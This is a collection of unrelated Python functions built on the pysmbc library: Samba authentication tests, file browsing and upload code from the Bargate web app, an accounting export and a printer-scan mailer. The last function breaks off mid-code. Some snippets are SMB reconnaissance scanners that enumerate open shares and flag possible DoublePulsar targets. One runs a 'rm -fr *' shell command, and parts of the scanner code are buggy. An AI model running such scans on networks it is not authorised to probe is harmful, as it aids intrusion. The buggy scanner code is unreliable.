def _save(self, cr, uid, ids, context): if context is None: context = {} # Stream writer to convert Unicode to Windows Latin-1 win_writer = codecs.getwriter('cp1252') # Connect to the network share company = self.pool.get('res.users').browse(cr, uid, uid, context=context).company_id data = {'form': self.read(cr, uid, ids, context=context)[0]} fiscalyear = self.pool.get('account.fiscalyear').browse( cr, uid, data['form']['fiscalyear_id'][0], context) path = '%s/Compta.%s' % (company.ebp_uri, fiscalyear.ebp_nb) _logger.debug("Connecting to %s as user %s, domain %s" % (path, fiscalyear.company_id.ebp_username, fiscalyear.company_id.ebp_domain)) win_share = smbc.Context( auth_fn=lambda server, share, workgroup, username, password: (fiscalyear.company_id.ebp_domain, fiscalyear.company_id. ebp_username, fiscalyear.company_id.ebp_password)) moves_file = win_writer(win_share.creat('%s/ECRITURES.TXT' % path)) account_file = win_writer(win_share.creat('%s/COMPTES.TXT' % path)) balance_file = win_writer(win_share.creat('%s/BALANCES.TXT' % path)) self._export(cr, uid, ids, moves_file, account_file, context=None) # Close the move summaries file moves_file.close() account_file.close() balance_file.close()
def get_newest_file(self, test_type): directory_name = self.get_samba_dir(test_type) ctx = smbc.Context() entries = ctx.opendir(directory_name).getdents() name_list = [] if test_type == "smoke_test": name_list = [ ''.join(list(str(entry))[21:112]) for entry in entries if "[冒烟]部件集成测试-自动化测试用例-版本" in str(entry) ] elif test_type == "function_test": name_list = [ ''.join(list(str(entry))[21:102]) for entry in entries if "功能测试_自动化测试用例-版本" in str(entry) ] elif test_type == "base_test": name_list = [ ''.join(list(str(entry))[21:98]) for entry in entries if "压力测试_自动化测试用例-版本" in str(entry) ] elif test_type == "stability_test": name_list = [ ''.join(list(str(entry))[21:110]) for entry in entries if "稳定性可靠性测试_自动化测试用例" in str(entry) ] elif test_type == "component_test": name_list = [''.join(list(str(entry))[21:37]) for entry in entries] elif test_type == "shell_test": name_list = [''.join(list(str(entry))[21:36]) for entry in entries] else: return None return str(max((name_list)))
def smbscan(server): path_obj = [] ctx = smbc.Context() if smbargs.anonymous == True: ctx.optionNoAutoAnonymousLogin == False else: ctx.optionNoAutoAnonymousLogin == True # there is a required order for Anonymous Authentication. i found this lambda action somewhere. cb = lambda se, sh, w, u, p: (smbargs.domain, smbargs.uname, smbargs. passwd) ctx.functionAuthData = cb # trying to separate 3L entries which are shares instead of directories try: entries = ctx.opendir('smb://' + server).getdents() for entry in entries: print entry except: pass # trying a semaphore, so hopefully this will work while lock == 1: continue lock.value = 1 # print "Writing SMB Records" fp = open(smbargs.results_file, 'a+') for obj in path_obj: path = obj[0] chmod = obj[1] fp.write(str(chmod) + ':\s' + path + '\n') fp.close() lock.value = 0 return True
def test_auth_succes(config): ctx = smbc.Context() ctx.optionNoAutoAnonymousLogin = True cb = lambda se, sh, w, u, p: (w, config['username'], config['password']) ctx.functionAuthData = cb d = ctx.opendir(config['uri']) assert d != None
def __init__(self, filename='', dest_filename='', **kwargs): import smbc self.ctx = smbc.Context() self.ctx.optionNoAutoAnonymousLogin = True self.ctx.functionAuthData = self.auth_fn self.filename = filename # 'smb://elistavitski-ni/epics/elis_xia11_024.nc' self.dest_filename = dest_filename
def __init__(self, target, silos, dancemanager): threading.Thread.__init__(self) self.ctx = smbc.Context() self.silos = silos self.dancemanager = dancemanager self.uri = "smb://" + target self.target = target
def __init__(self): self.domain = DOMAIN self.username = USERNAME self.password = PASSWORD self.ctx = smbc.Context(auth_fn=self.my_auth_callback_fn, debug=0) #self.ctx = smbc.Context() self.ctx.optionNoAutoAnonymousLogin = True
def test_auth_failed_noauth(config): ctx = smbc.Context() ctx.optionNoAutoAnonymousLogin = True try: ctx.opendir(config['uri']) except smbc.PermissionError: assert True else: assert False
def test_auth_failed_nouser(config): ctx = smbc.Context() ctx.optionNoAutoAnonymousLogin = True cb = lambda se, sh, w, u, p: (w, "", config['password']) ctx.functionAuthData = cb try: ctx.opendir(config['uri']) except smbc.PermissionError: assert True else: assert False
def test_AuthSuccess(): ctx = smbc.Context() ctx.optionNoAutoAnonymousLogin = True cb = lambda se, sh, w, u, p: (w, settings.USERNAME, settings.PASSWORD) ctx.functionAuthData = cb uri = 'smb://' + settings.SERVER + '/' + settings.SHARE try: dir = ctx.opendir(uri) print("ok: connection to ", uri) except: print("fail: connection to ", uri) assert False
def test_AuthFailNoname(): ctx = smbc.Context() ctx.optionNoAutoAnonymousLogin = True cb = lambda se, sh, w, u, p: (w, "", "") ctx.functionAuthData = cb uri = 'smb://' + settings.SERVER + '/' + settings.SHARE try: dir = ctx.opendir(uri) except smbc.PermissionError: pass except: assert False else: assert False
def test_AuthFailNoauth(): ctx = smbc.Context() ctx.optionNoAutoAnonymousLogin = True uri = 'smb://' + settings.SERVER + '/' + settings.SHARE try: dir = ctx.opendir(uri) except smbc.PermissionError: print("ok: permission error to ", uri) pass except: print("fail: error connecting to", uri) assert False else: print("fail: error connecting to", uri) assert False
def run(self, menu, selected): """Runs the Replace in Filenames on the given Directory""" uri_raw = selected.get_uri() if len(uri_raw) < 7: return dialog = Gtk.Dialog(title=_("Replace in Filenames"), buttons=(Gtk.STOCK_CANCEL, Gtk.ResponseType.REJECT, Gtk.STOCK_OK, Gtk.ResponseType.ACCEPT)) dialog.set_position(Gtk.WindowPosition.CENTER) entry_find = Gtk.Entry() entry_replace = Gtk.Entry() frame_find = Gtk.Frame(label="<b>"+_("Replace...")+"</b>") frame_find.get_label_widget().set_use_markup(True) frame_find.add(entry_find) frame_replace = Gtk.Frame(label="<b>"+_("...with")+"</b>") frame_replace.get_label_widget().set_use_markup(True) frame_replace.add(entry_replace) content_area = dialog.get_content_area() content_area.pack_start(frame_find, True, True, 0) content_area.pack_start(frame_replace, True, True, 0) content_area.show_all() response = dialog.run() dialog.hide() if response != Gtk.ResponseType.ACCEPT: return replace_from = entry_find.get_text() replace_to = entry_replace.get_text() if uri_raw.startswith("smb"): import smbc curr_dir = urllib.unquote(uri_raw) context = smbc.Context() dir_obj = context.opendir(curr_dir) dirent_objs = dir_obj.getdents() for dirent_obj in dirent_objs: if dirent_obj.smbc_type == 8: old_name = dirent_obj.name old_uri = os.path.join(curr_dir, old_name) new_uri = os.path.join(curr_dir, old_name.replace(replace_from, replace_to)) if new_uri != old_uri: context.rename(old_uri, new_uri) else: curr_dir = urllib.unquote(uri_raw[7:]) if os.path.isfile(curr_dir): curr_dir = os.path.dirname(curr_dir) for old_name in os.listdir(curr_dir): old_filename = os.path.join(curr_dir, old_name) if os.path.isfile(old_filename): new_name = old_name.replace(replace_from, replace_to) if new_name != old_name: os.rename(old_filename, os.path.join(curr_dir, new_name))
def smbscan(server, results_file): smb_obj = [] ctx = smbc.Context() ts = time.strftime("%Y-%m-%d %H:%M") print "attempting to scan " + server + '\n' # attempt to pull shares try: entries = ctx.opendir('smb://' + server).getdents() for entry in entries: if entry is not None: connector = socket(AF_INET, SOCK_STREAM) connector.settimeout(1) try: connector.connect(('%s' % server, 445)) connector.send('Friendly Portscanner\r\n') smbbg = connector.recv(2048) connector.close() if results_file is not None: with print_lock: with open(results_file, 'a+') as outfile: smb_data = 'host: ' + '%s' % server + '\n' + 'is_smb: true\nopen_share:' + '%s' % entry + '\n' + 'banner: ' + '%s' % smbbg + 'is_dupulsar: true\nbg_port: 445\ntimestamp: ' + '%s' % ts + '\n\n' outfile.write(smb_data) else: with print_lock: print("[+] " + '%s' % server + ": " + '%s' % entry + ", Banner Grab: " + '%s' % smbbg + ' Possible DPulsar Target = True') except: if results_file is not None: with print_lock: with open(results_file, 'a+') as outfile: smb_data = 'host: ' + '%s' % server + '\n' + 'is_smb: true\nopen_share:' + '%s' % entry + '\n' + 'banner: closed\nis_dpulsar: false\nbg_port: 445\ntimestamp: ' + '%s' % ts + '\n\n' outfile.write(smb_data) else: with print_lock: print( "[+] " + '%s' % server + ": " + '%s' % entry + ", Port 445: closed, Possible DPulsar Target = False" ) else: continue except: pass
def scan(server): db_obj = [] ctx = smbc.Context() if settings.ANONYMOUS == True: ctx.optionNoAutoAnonymousLogin = False else: ctx.optionNoAutoAnonymousLogin = True # You want to do it this way otherwise things get out of order??? cb = lambda se, sh, w, u, p: (settings.DOMAIN, settings.USERNAME, settings.PASSWORD) ctx.functionAuthData = cb try: entries = ctx.opendir('smb://' + server).getdents() for entry in entries: print entry # 3L type is a share if entry.smbc_type == 3L and "$" not in entry.name: share = entry.name path = 'smb://' + server + '/' + share + '/' try: recurse_dir(db_obj, path, ctx) except: print "Access Denied or something broke" pass except: pass #Poor man's semaphore while lock == 1: continue lock.value = 1 print "SAVE" fp = open(settings.OUTPUT_FILE, 'a+') for obj in db_obj: path = obj[0] chmod = obj[1] fp.write(str(chmod) + "\t" + path + '\n') fp.close() lock.value = 0 return True
def get_test_scripts_from_samba(self, test_type, latest_file_name): remote_file = self.get_samba_dir(test_type) + latest_file_name print("%s:\t\t\t%s" % (test_type, remote_file)) #self.get_files_from_samba(remote_file_name,self.get_working_dir(test_type)) ctx = smbc.Context() assert remote_file != None, "remote file is null" sfile = ctx.open(remote_file, os.O_RDONLY) os.chdir(self.get_working_dir(test_type)) commands.getstatusoutput("rm -fr * ") dfile = open(self.get_working_dir(test_type) + "target.zip", 'wb') #copy file and flush dfile.write(sfile.read()) dfile.flush() sfile.close() dfile.close() os.chdir(self.get_working_dir(test_type)) commandline = "unzip " + self.get_working_dir( test_type) + "target.zip" commands.getstatusoutput(commandline)
def main(): parser = configargparse.ArgParser(default_config_files=['scansmb.conf']) parser.add("-c", "--config", is_config_file=True, help="config file path", env_var="CONFIG") parser.add("-p", "--printer-host", required=True, help="printer hostname", env_var="PRINTER_HOST") parser.add("--smtp-user", required=True, help="smtp server username", env_var="SMTP_USERNAME") parser.add("--smtp-password", required=True, help="smtp server password", env_var="SMTP_PASSWORD") parser.add("--smtp-port", required=True, help="smtp server port", env_var="SMTP_PORT") parser.add("--smtp-host", required=True, help="smtp host", env_var="SMTP_HOST") parser.add("-f", "--mail-from", help="email from address", env_var="MAIL_FROM") parser.add("-t", "--mail-to", required=True, help="email recipient", env_var="MAIL_TO") options = parser.parse_args() if options.mail_from is None: options.mail_from = options.smtp_user ctx = smbc.Context(auth_fn=get_auth_data, client_ntlmv2_auth="no", client_use_spnego="no") mail_config = MailConfig(mail_from=options.mail_from, mail_to=options.mail_to, user=options.smtp_user, password=options.smtp_password, host=options.smtp_host, port=options.smtp_port) logger.info("Started! Looking for scans...") logger.info(parser.format_values()) loop(ctx, options.printer_host, mail_config) scheduler = BlockingScheduler() scheduler.add_job(loop, 'interval', minutes=1, args=[ctx, options.printer_host, mail_config]) scheduler.start()
def _generate_state(self, sm): c = smbc.Context() # Session cleanup for pysmbc is handled by the Python garbage # collector (groan...), so it's *critical* that no objects have a live # reference to this smbc.Context when this function completes yield (self._to_url(), c)
def setUp(): global ctx ctx = smbc.Context() cb = lambda se, sh, w, u, p: (w, settings.USERNAME, settings.PASSWORD) ctx.functionAuthData = cb
def auth(username, password): app.logger.debug("bargate.lib.user.auth " + username) if len(username) == 0: app.logger.debug("bargate.lib.user.auth empty username") return False if len(password) == 0: app.logger.debug("bargate.lib.user.auth empty password") return False if app.config['AUTH_TYPE'] == 'kerberos' or app.config['AUTH_TYPE'] == 'krb5': app.logger.debug("bargate.lib.user.auth auth type kerberos") ## Kerberos authentication. ## As of May 2015, DO NOT USE THIS. checkPassword does not verify the KDC is the right one. ## Of course, this can only be verified if the local machine is actually joined to the domain? and thus has a local host/ principal? try: kerberos.checkPassword(request.form['username'], request.form['password'], app.config['KRB5_SERVICE'], app.config['KRB5_DOMAIN']) except kerberos.BasicAuthError as e: return False except kerberos.KrbError as e: flash('Unexpected kerberos authentication error: ' + e.__str__(),'alert-danger') return False except kerberos.GSSError as e: flash('Unexpected kerberos gss authentication error: ' + e.__str__(),'alert-danger') return False app.logger.debug("bargate.lib.user.auth auth kerberos success") return True elif app.config['AUTH_TYPE'] == 'smb': app.logger.debug("bargate.lib.user.auth auth type smb") ## "SMB" auth. This is a bit odd. It just tries to connect to an SMB share and list the contents. If this succeeds, assume SUCCESS! try: g.smb_username = username g.smb_password = password ctx = smbc.Context(auth_fn=bargate.lib.user.get_smbc_auth_logon) ctx.opendir(app.config['SMB_AUTH_URI']).getdents() except smbc.PermissionError: app.logger.debug("bargate.lib.user.auth smb permission denied") return False except Exception as ex: app.logger.debug("bargate.lib.user.auth smb exception: " + str(ex)) flash('Unexpected SMB authentication error: ' + str(ex),'alert-danger') return False app.logger.debug("bargate.lib.user.auth auth smb success") return True elif app.config['AUTH_TYPE'] == 'ldap': app.logger.debug("bargate.lib.user.auth auth type ldap") ## LDAP auth. This is preferred as of May 2015 due to issues with python-kerberos. ## connect to LDAP and turn off referals l = ldap.initialize(app.config['LDAP_URI']) l.set_option(ldap.OPT_REFERRALS, 0) ## and bind to the server with a username/password if needed in order to search for the full DN for the user who is logging in. try: if app.config['LDAP_ANON_BIND']: l.simple_bind_s() else: l.simple_bind_s( (app.config['LDAP_BIND_USER']), (app.config['LDAP_BIND_PW']) ) except ldap.LDAPError as e: flash('Internal Error - Could not connect to LDAP directory: ' + str(e),'alert-danger') app.logger.error("Could not bind to LDAP: " + str(e)) abort(500) app.logger.debug("bargate.lib.user.auth ldap searching for username in base " + app.config['LDAP_SEARCH_BASE'] + " looking for attribute " + app.config['LDAP_USER_ATTRIBUTE']) ## Now search for the user object to bind as try: results = l.search_s(app.config['LDAP_SEARCH_BASE'], ldap.SCOPE_SUBTREE,(app.config['LDAP_USER_ATTRIBUTE']) + "=" + username) except ldap.LDAPError as e: app.logger.debug("bargate.lib.user.auth no object found in ldap") return False app.logger.debug("bargate.lib.user.auth ldap found results from dn search") ## handle the search results for result in results: dn = result[0] attrs = result[1] if dn == None: ## No dn returned. Return false. return False else: app.logger.debug("bargate.lib.user.auth ldap found dn " + str(dn)) ## Found the DN. Yay! Now bind with that DN and the password the user supplied try: app.logger.debug("bargate.lib.user.auth ldap attempting ldap simple bind as " + str(dn)) lauth = ldap.initialize(app.config['LDAP_URI']) lauth.set_option(ldap.OPT_REFERRALS, 0) lauth.simple_bind_s( (dn), (password) ) except ldap.LDAPError as e: ## password was wrong app.logger.debug("bargate.lib.user.auth ldap bind failed as " + str(dn)) return False app.logger.debug("bargate.lib.user.auth ldap bind succeeded as " + str(dn)) ## Should we use the ldap home dir attribute? if app.config['LDAP_HOMEDIR']: ## Now look up the LDAP HOME ATTRIBUTE as well if (app.config['LDAP_HOME_ATTRIBUTE']) in attrs: if type(attrs[app.config['LDAP_HOME_ATTRIBUTE']]) is list: homedir_attribute = attrs[app.config['LDAP_HOME_ATTRIBUTE']][0] else: homedir_attribute = str(attrs[app.config['LDAP_HOME_ATTRIBUTE'] ]) if homedir_attribute == None: app.logger.error('ldap_get_homedir returned None for user ' + username) flash("Profile Error: I could not find your home directory location","alert-danger") abort(500) else: session['ldap_homedir'] = homedir_attribute app.logger.debug('User "' + username + '" LDAP home attribute ' + session['ldap_homedir']) if app.config['LDAP_HOMEDIR_IS_UNC']: if session['ldap_homedir'].startswith('\\\\'): session['ldap_homedir'] = session['ldap_homedir'].replace('\\\\','smb://',1) session['ldap_homedir'] = session['ldap_homedir'].replace('\\','/') ## Overkill but log it again anyway just to make sure we really have the value we think we should app.logger.debug('User "' + username + '" home SMB path ' + session['ldap_homedir']) ## Return that LDAP auth succeeded app.logger.debug("bargate.lib.user.auth ldap success") return True ## Catch all return false for LDAP auth return False
def initial_authentication (self): try: context = smbc.Context () self.use_workgroup = context.workgroup except: pass
def fixture(config): ctx = smbc.Context() ctx.optionNoAutoAnonymousLogin = True cb = lambda se, sh, w, u, p: (w, config['username'], config['password']) ctx.functionAuthData = cb yield {'ctx': ctx}
def find(bot,dirs): """helper function for library()""" paths = [] smbpaths = [] # sort paths into local and samba based on whether they're tuples for path in dirs: if isinstance(path,dict): smbpaths.append(path) else: paths.append(path) dirs = [] files = [] errors = [] # find all matching directories or files depending on fd parameter for path in paths: try: (temp_dirs,temp_files) = util.rlistdir(unicode(path)) dirs.extend(temp_dirs) files.extend(temp_files) except Exception as e: msg = ('Unable to traverse "%s": %s' % (path,traceback.format_exc(e).split('\n')[-2])) errors.append((path,msg)) if smbpaths: import smbc # same as above but for samba shares for path in smbpaths: temp_dirs = [] temp_files = [] try: share = 'smb://'+path['server']+'/'+path['share'] smb = smbc.Context() if path['username']: pword = path['password'] and path['password'].get() smb.functionAuthData = (lambda se,sh,w,u,p: (w,path['username'],pword)) smb.opendir(share[:share.rfind('/')]) ignore = [smbc.PermissionError] # even though we're just doing blocking I/O, threading isn't enough # we need sub-processes via multiprocessing for samba shares # because pysmbc doesn't release the GIL so it still blocks in threads log.debug('Starting new process for "%s"' % share) q = multiprocessing.Queue() e = multiprocessing.Queue() args = (bot.smbc_dir,bot.smbc_file,q,e,smb,share,ignore) p = multiprocessing.Process(target=rsamba,args=args) p.start() # we're using a Queue for message passing while p.is_alive() or not q.empty(): while not q.empty(): (typ,name) = q.get() if typ==bot.smbc_dir: temp_dirs.append(unicode(name)) elif typ==bot.smbc_file: temp_files.append(unicode(name)) time.sleep(0.1) # the child process also reports errors using a Queue log.debug('Process done with%s errors' % ('out' if e.empty() else '')) if e.empty(): dirs.extend(temp_dirs) files.extend(temp_files) else: raise e.get() except Exception as ex: msg = ('Unable to traverse "%s": %s' % (share,traceback.format_exc(ex).split('\n')[-2])) errors.append((share,msg)) return (dirs,files,errors)
def connection(srv_path,func_name,active=None,display_name="Home",action='browse',path=''): ## ensure srv_path (the server URI and share) ends with a trailing slash if not srv_path.endswith('/'): srv_path = srv_path + '/' ## srv_path should always start with smb://, we don't support anything else. if not srv_path.startswith("smb://"): return bargate.lib.errors.stderr("Invalid server path","The server URL must start with smb://") ## We need a non-unicode srv_path for pysmbc calls srv_path_as_str = srv_path.encode('utf-8') ## default the 'active' variable to the function name if active == None: active = func_name ## The place to redirect to (the url) if an error occurs ## This defaults to None (aka don't redirect, and just show an error) ## because to do otherwise will lead to a redirect loop. (Fix #93 v1.4.1) error_redirect = None ## The parent directory to redirect to - defaults to just the current function ## name (the handler for this 'share' at the top level) parent_redirect = redirect(url_for(func_name)) ## Prepare to talk to the file server libsmbclient = smbc.Context(auth_fn=bargate.lib.user.get_smbc_auth) ############################################################################ ## HTTP GET ACTIONS ######################################################## # actions: download/view, browse, stat ############################################################################ if request.method == 'GET': ## pysmbc needs urllib quoted str objects (not unicode objects) path_as_str = urllib.quote(path.encode('utf-8')) ## Check the path is valid try: bargate.lib.smb.check_path(path) except ValueError as e: return bargate.lib.errors.invalid_path() ## Build the URI uri = srv_path + path uri_as_str = srv_path_as_str + path_as_str ## Log this activity app.logger.info('User "' + session['username'] + '" connected to "' + srv_path + '" using endpoint "' + func_name + '" and action "' + action + '" using GET and path "' + path + '" from "' + request.remote_addr + '" using ' + request.user_agent.string) ## Work out if there is a parent directory ## and work out the entry name (filename or directory name being browsed) if len(path) > 0: (parent_directory_path,seperator,entryname) = path.rpartition('/') ## if seperator was not found then the first two strings returned will be empty strings if len(parent_directory_path) > 0: parent_directory = True parent_directory_path_as_str = urllib.quote(parent_directory_path.encode('utf-8')) ## update the parent redirect with the correct path parent_redirect = redirect(url_for(func_name,path=parent_directory_path)) error_redirect = parent_redirect else: parent_directory = False else: parent_directory = False parent_directory_path = "" parent_directory_path_as_str = "" entryname = "" ## parent_directory is either True/False if there is one ## entryname will either be the part after the last / or the full path ## parent_directory_path will be empty string or the parent directory path ################################################################################ # DOWNLOAD OR 'VIEW' FILE ################################################################################ if action == 'download' or action == 'view': try: app.logger.debug("libsmbclient.stat('{}')".format(uri_as_str)) fstat = libsmbclient.stat(uri_as_str) except Exception as ex: return bargate.lib.errors.smbc_handler(ex,uri_as_str,error_redirect) ## ensure item is a file if not bargate.lib.smb.statToType(fstat) == SMB_FILE: return bargate.lib.errors.invalid_item_download(error_redirect) try: app.logger.debug("libsmbclient.open('{}')".format(uri_as_str)) file_object = libsmbclient.open(uri_as_str) ## Default to sending files as an 'attachment' ("Content-Disposition: attachment") attach = True ## Guess the mime type based on file extension (ftype,mtype) = bargate.lib.mime.filename_to_mimetype(entryname) ## If the user requested to 'view' (don't download as an attachment) make sure we allow it for that filetype if action == 'view': if bargate.lib.mime.view_in_browser(mtype): attach = False ## Send the file to the user resp = make_response(send_file(file_object,add_etags=False,as_attachment=attach,attachment_filename=entryname,mimetype=mtype)) resp.headers['content-length'] = str(fstat[6]) return resp except Exception as ex: return bargate.lib.errors.smbc_handler(ex,uri_as_str,error_redirect) ################################################################################ # IMAGE PREVIEW ################################################################################ elif action == 'preview': if not app.config['IMAGE_PREVIEW']: abort(400) try: app.logger.debug("libsmbclient.stat('{}')".format(uri_as_str)) fstat = libsmbclient.stat(uri_as_str) except Exception as ex: abort(400) ## ensure item is a file if not bargate.lib.smb.statToType(fstat) == SMB_FILE: abort(400) ## guess a mimetype (ftype,mtype) = bargate.lib.mime.filename_to_mimetype(entryname) ## Check size is not too large for a preview if fstat[6] > app.config['IMAGE_PREVIEW_MAX_SIZE']: abort(403) ## Only preview files that Pillow supports if not mtype in bargate.lib.mime.pillow_supported: abort(400) ## Open the file try: app.logger.debug("libsmbclient.open('{}')".format(uri_as_str)) file_object = libsmbclient.open(uri_as_str) except Exception as ex: return bargate.lib.errors.smbc_handler(ex,uri_as_str,error_redirect) ## Read the file into memory first (hence a file size limit) because PIL/Pillow tries readline() ## on pysmbc's File like objects which it doesn't support try: sfile = StringIO.StringIO(file_object.read()) pil_img = Image.open(sfile).convert('RGB') size = 200, 200 pil_img.thumbnail(size, Image.ANTIALIAS) img_io = StringIO.StringIO() pil_img.save(img_io, 'JPEG', quality=85) img_io.seek(0) return send_file(img_io, mimetype='image/jpeg',add_etags=False) except Exception as ex: abort(400) ################################################################################ # STAT FILE/DIR - json ajax request ################################################################################ elif action == 'stat': try: app.logger.debug("libsmbclient.stat('{}')".format(uri_as_str)) fstat = libsmbclient.stat(uri_as_str) except Exception as ex: return jsonify({'error': 1, 'reason': 'An error occured: ' + str(type(ex)) + ": " + str(ex)}) data = {} data['filename'] = entryname data['size'] = fstat[6] data['atime'] = bargate.lib.core.ut_to_string(fstat[7]) data['mtime'] = bargate.lib.core.ut_to_string(fstat[8]) (data['ftype'],data['mtype']) = bargate.lib.mime.filename_to_mimetype(data['filename']) if app.config['WBINFO_LOOKUP']: try: app.logger.debug("libsmbclient.getxattr('{}',smbc.XATTR_OWNER)".format(uri_as_str)) data['owner'] = bargate.lib.smb.wb_sid_to_name(libsmbclient.getxattr(uri_as_str,smbc.XATTR_OWNER)) app.logger.debug("libsmbclient.getxattr('{}',smbc.XATTR_GROUP)".format(uri_as_str)) data['group'] = bargate.lib.smb.wb_sid_to_name(libsmbclient.getxattr(uri_as_str,smbc.XATTR_GROUP)) except Exception as ex: data['owner'] = "Unknown" data['group'] = "Unknown" else: data['owner'] = "N/A" data['group'] = "N/A" data['error'] = 0 ## Return JSON return jsonify(data) ################################################################################ # REALLY REALLY BASIC SEARCH... ################################################################################ elif action == 'search': if not app.config['SEARCH_ENABLED']: abort(404) if 'q' not in request.args: return redirect(url_for(func_name,path=path)) ## Build a breadcrumbs trail ## crumbs = [] parts = path.split('/') b4 = '' ## Build up a list of dicts, each dict representing a crumb for crumb in parts: if len(crumb) > 0: crumbs.append({'name': crumb, 'url': url_for(func_name,path=b4+crumb)}) b4 = b4 + crumb + '/' query = request.args.get('q') searchEngine = RecursiveSearchEngine(libsmbclient,func_name,path,path_as_str,srv_path_as_str,uri_as_str,query) results, timeout_reached = searchEngine.search() if timeout_reached: flash("Some search results have been omitted because the search took too long to perform.","alert-warning") return render_template('search.html', results=results, query=query, path=path, root_display_name = display_name, search_mode=True, url_home=url_for(func_name), crumbs=crumbs, on_file_click=bargate.lib.userdata.get_on_file_click()) ################################################################################ # BROWSE / DIRECTORY / LIST FILES ################################################################################ elif action == 'browse': ## Try getting directory contents try: app.logger.debug("libsmbclient.opendir('{}').getdents()".format(uri_as_str)) directory_entries = libsmbclient.opendir(uri_as_str).getdents() except smbc.NotDirectoryError as ex: ## If there is a parent directory, go up to it if parent_directory: return url_for(func_name,path=parent_directory_path) else: return bargate.lib.errors.stderr("Bargate is misconfigured","The path given for the share " + func_name + " is not a directory!") except Exception as ex: return bargate.lib.errors.smbc_handler(ex,uri,error_redirect) ## Seperate out dirs and files into two lists dirs = [] files = [] for dentry in directory_entries: # Create a new dict for the entry entry = loadDentry(dentry, srv_path_as_str, path, path_as_str) # Continue to next entry if we found it should be skipped if entry['skip']: continue else: # Further process the entry (stat it, load the icon, etc) entry = processDentry(entry,libsmbclient,func_name) if entry['type'] == 'file': files.append(entry) elif entry['type'] == 'dir' or entry['type'] == 'share': dirs.append(entry) ## Build a breadcrumbs trail ## crumbs = [] parts = path.split('/') b4 = '' ## Build up a list of dicts, each dict representing a crumb for crumb in parts: if len(crumb) > 0: crumbs.append({'name': crumb, 'url': url_for(func_name,path=b4+crumb)}) b4 = b4 + crumb + '/' ## Are we at the root? if len(path) == 0: atroot = True else: atroot = False ## are there any items? no_items = False if len(files) == 0 and len(dirs) == 0: no_items = True ## What layout does the user want? layout = bargate.lib.userdata.get_layout() ## Render the template return render_template('directory-' + layout + '.html', active=active, dirs=dirs, files=files, crumbs=crumbs, path=path, cwd=entryname, url_home=url_for(func_name), url_parent_dir=url_for(func_name,path=parent_directory_path), url_bookmark=url_for('bookmarks'), url_search=url_for(func_name,path=path,action="search"), browse_mode=True, atroot = atroot, func_name = func_name, root_display_name = display_name, on_file_click=bargate.lib.userdata.get_on_file_click(), no_items = no_items, ) else: abort(400) ############################################################################ ## HTTP POST ACTIONS ####################################################### # actions: unlink, mkdir, upload, rename ############################################################################ elif request.method == 'POST': ## We ignore an action and/or path sent in the URL ## this is because we send them both via form variables ## we do this because we need, in javascript, to be able to change these ## without having to regenerate the URL in the <form> ## as such, the path and action are not sent via bargate POSTs anyway ## Get the action and path action = request.form['action'] path = request.form['path'] ## Check the path is valid try: bargate.lib.smb.check_path(path) except ValueError as e: return bargate.lib.errors.invalid_path() ## pysmbc needs urllib quoted str objects, not unicode objects path_as_str = urllib.quote(path.encode('utf-8')) ## Build the URI uri = srv_path + path uri_as_str = srv_path_as_str + path_as_str ## Log this activity app.logger.info('User "' + session['username'] + '" connected to "' + srv_path + '" using func name "' + func_name + '" and action "' + action + '" using POST and path "' + path + '" from "' + request.remote_addr + '" using ' + request.user_agent.string) ## Work out if there is a parent directory ## and work out the entry name (filename or directory name being browsed) if len(path) > 0: (parent_directory_path,seperator,entryname) = path.rpartition('/') ## if seperator was not found then the first two strings returned will be empty strings if len(parent_directory_path) > 0: parent_directory = True parent_directory_path_as_str = urllib.quote(parent_directory_path.encode('utf-8')) parent_redirect = redirect(url_for(func_name,path=parent_directory_path)) error_redirect = parent_redirect else: parent_directory = False else: parent_directory = False parent_directory_path = "" ## parent_directory is either True/False if there is one ## entryname will either be the part after the last / or the full path ## parent_directory_path will be empty string or the parent directory path ################################################################################ # UPLOAD FILE ################################################################################ if action == 'jsonupload': ret = [] uploaded_files = request.files.getlist("files[]") for ufile in uploaded_files: if bargate.lib.core.banned_file(ufile.filename): ret.append({'name' : ufile.filename, 'error': 'Filetype not allowed'}) continue ## Make the filename "secure" - see http://flask.pocoo.org/docs/patterns/fileuploads/#uploading-files filename = bargate.lib.core.secure_filename(ufile.filename) upload_uri_as_str = uri_as_str + '/' + urllib.quote(filename.encode('utf-8')) ## Check the new file name is valid try: bargate.lib.smb.check_name(filename) except ValueError as e: ret.append({'name' : ufile.filename, 'error': 'Filename not allowed'}) continue ## Check to see if the file exists fstat = None try: app.logger.debug("libsmbclient.stat('{}')".format(upload_uri_as_str)) fstat = libsmbclient.stat(upload_uri_as_str) except smbc.NoEntryError: app.logger.debug("Upload filename of " + upload_uri_as_str + " does not exist, ignoring") ## It doesn't exist so lets continue to upload except Exception as ex: app.logger.error("Exception when uploading a file: " + str(type(ex)) + ": " + str(ex) + traceback.format_exc()) ret.append({'name' : ufile.filename, 'error': 'Failed to stat existing file: ' + str(ex)}) continue byterange_start = 0 if 'Content-Range' in request.headers: byterange_start = int(request.headers['Content-Range'].split(' ')[1].split('-')[0]) app.logger.debug("Chunked file upload request: Content-Range sent with byte range start of " + str(byterange_start) + " with filename " + filename) ## Actual upload try: # Check if we're writing from the start of the file if byterange_start == 0: ## We're truncating an existing file, or creating a new file ## If the file already exists, check to see if we should overwrite if fstat is not None: if not bargate.lib.userdata.get_overwrite_on_upload(): ret.append({'name' : ufile.filename, 'error': 'File already exists. You can enable overwriting files in Settings.'}) continue ## Now ensure we're not trying to upload a file on top of a directory (can't do that!) itemType = bargate.lib.smb.getEntryType(libsmbclient,upload_uri_as_str) if itemType == bargate.lib.smb.SMB_DIR: ret.append({'name' : ufile.filename, 'error': "That name already exists and is a directory"}) continue ## Open the file for the first time, truncating or creating it if necessary app.logger.debug("libsmbclient.open('{}',os.O_CREAT | os.O_TRUNC | os.O_WRONLY)".format(upload_uri_as_str)) wfile = libsmbclient.open(upload_uri_as_str,os.O_CREAT | os.O_TRUNC | os.O_WRONLY) else: ## Open the file and seek to where we are going to write the additional data app.logger.debug("libsmbclient.open('{}',os.O_WRONLY)".format(upload_uri_as_str)) wfile = libsmbclient.open(upload_uri_as_str,os.O_WRONLY) wfile.seek(byterange_start) while True: buff = ufile.read(io.DEFAULT_BUFFER_SIZE) if not buff: break wfile.write(buff) wfile.close() ret.append({'name' : ufile.filename}) except Exception as ex: app.logger.error("Exception when uploading a file: " + str(type(ex)) + ": " + str(ex) + traceback.format_exc()) ret.append({'name' : ufile.filename, 'error': 'Could not upload file: ' + str(ex)}) continue return jsonify({'files': ret}) ################################################################################ # RENAME FILE ################################################################################ elif action == 'rename': ## Get the new requested file name 